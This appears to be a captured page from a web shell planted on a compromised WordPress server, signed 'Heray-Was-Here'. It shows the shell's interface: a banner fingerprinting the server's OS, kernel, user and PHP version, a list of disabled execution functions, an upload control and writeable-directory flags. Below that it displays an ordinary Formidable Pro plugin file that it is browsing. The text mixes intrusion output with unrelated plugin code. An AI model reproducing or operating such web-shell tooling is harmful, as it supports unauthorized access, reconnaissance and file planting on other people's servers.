Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/jasonp18/www/wp-content/plugins/formidable-pro/deprecated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jasonp18/www/wp-content/plugins/formidable-pro/deprecated/FrmProDropdownFieldsController.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	die( 'You are not allowed to call this page directly.' );
}

class FrmProDropdownFieldsController{

	public static function get_hidden_fields_with_readonly_values( $field, $field_name, $html_id ) {
		_deprecated_function( __METHOD__, '3.0', 'FrmFieldType::show_hidden_values' );
		$html = '';

		if ( is_array( $field['value'] ) ) {
			foreach ( $field['value'] as $selected_value ) {
				$html .= '<input type="hidden" value="' . esc_attr( $selected_value ) . '" name="' . esc_attr( $field_name ) . '[]" />';
			}
		} else {
			$html .= '<input type="hidden" value="' . esc_attr( $field['value'] ) . '" name="' . esc_attr( $field_name ) . '" id="' . esc_attr( $html_id ) . '" />';
		}

		return $html;
	}
}

Hry